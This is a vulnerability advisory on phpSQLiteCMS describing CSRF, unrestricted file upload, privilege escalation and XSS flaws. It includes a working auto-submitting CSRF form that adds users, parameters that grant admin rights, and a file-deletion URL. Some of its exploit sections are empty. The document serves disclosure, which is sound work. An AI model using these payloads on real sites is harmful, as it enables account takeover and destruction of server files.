Advisory Information:

CSRF, Unrestricted File type upload, Privilege escalation & XSS Vulnerabilities. User will be affected if they visit a malicious website or click any infected link. Possibly resulting in malicious attackers taking control of the Admin / CMS area.

Vulnerability Details:


We can add arbitrary users to the system, delete arbitrary web server files and escalate privileges, as no CSRF token is present.

Add arbitrary user:

The following request variables are all that is needed to add users to system. mode = users new_user_submitted = true name = "hyp3rlinx" pw = "12345" pw_r = "12345"

Privilege escalation:

Under users area in admin we can easily gain admin privileges, again using CSRF vulnerability we submit form using our id and change request variable to type '1' granting us admin privileges.


mode:users edit_user_submitted:true id:3 name:hyp3rlinx new_pw: new_pw_r: type:1 <------make us admin

Delete arbitrary files:

The following request parameters are all we is need to delete files from media or files directorys under the web servers CMS area.

mode=filemanager directory=files delete=index.html confirmed=true


We can steal PHP session cookie via XSS vulnerability

Unrestricted File Type Upload:

The files & media dirs will happily take .PHP, .EXE etc... and PHP scripts when selected will execute whatever PHP script we upload.

Exploit code(s):

1- CSRF POC Add arbitrary users to the system.

<script> function doit(){ var e=document.getElementById('evil') e.submit() } </script> </head>

<body onLoad="doit()"> <form id="evil" action="http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php" method="post"> <input type="text" name="mode" value="users"/> <input type="text" name="new_user_submitted" value="true"/> <input type="text" name="name" value="hyp3rlinx" /> <input type="text" name="pw" value="abc123" /> <input type="text" name="pw_r" value="abc123" /> </form>

2- CSRF privilege escalation POST URL:


Privilege escalation request string:


3- CSRF Delete Aribitary Server Files:

Below request URL will delete the index.html file in files dir on web server without any type of request validation CSRF token etc.

http://localhost/ilosuna-phpsqlitecms-d9b8219/ilosuna-phpsqlitecms-d9b8219/cms/index.php?mode=filemanager &directory=files&delete=index.html&confirmed=true
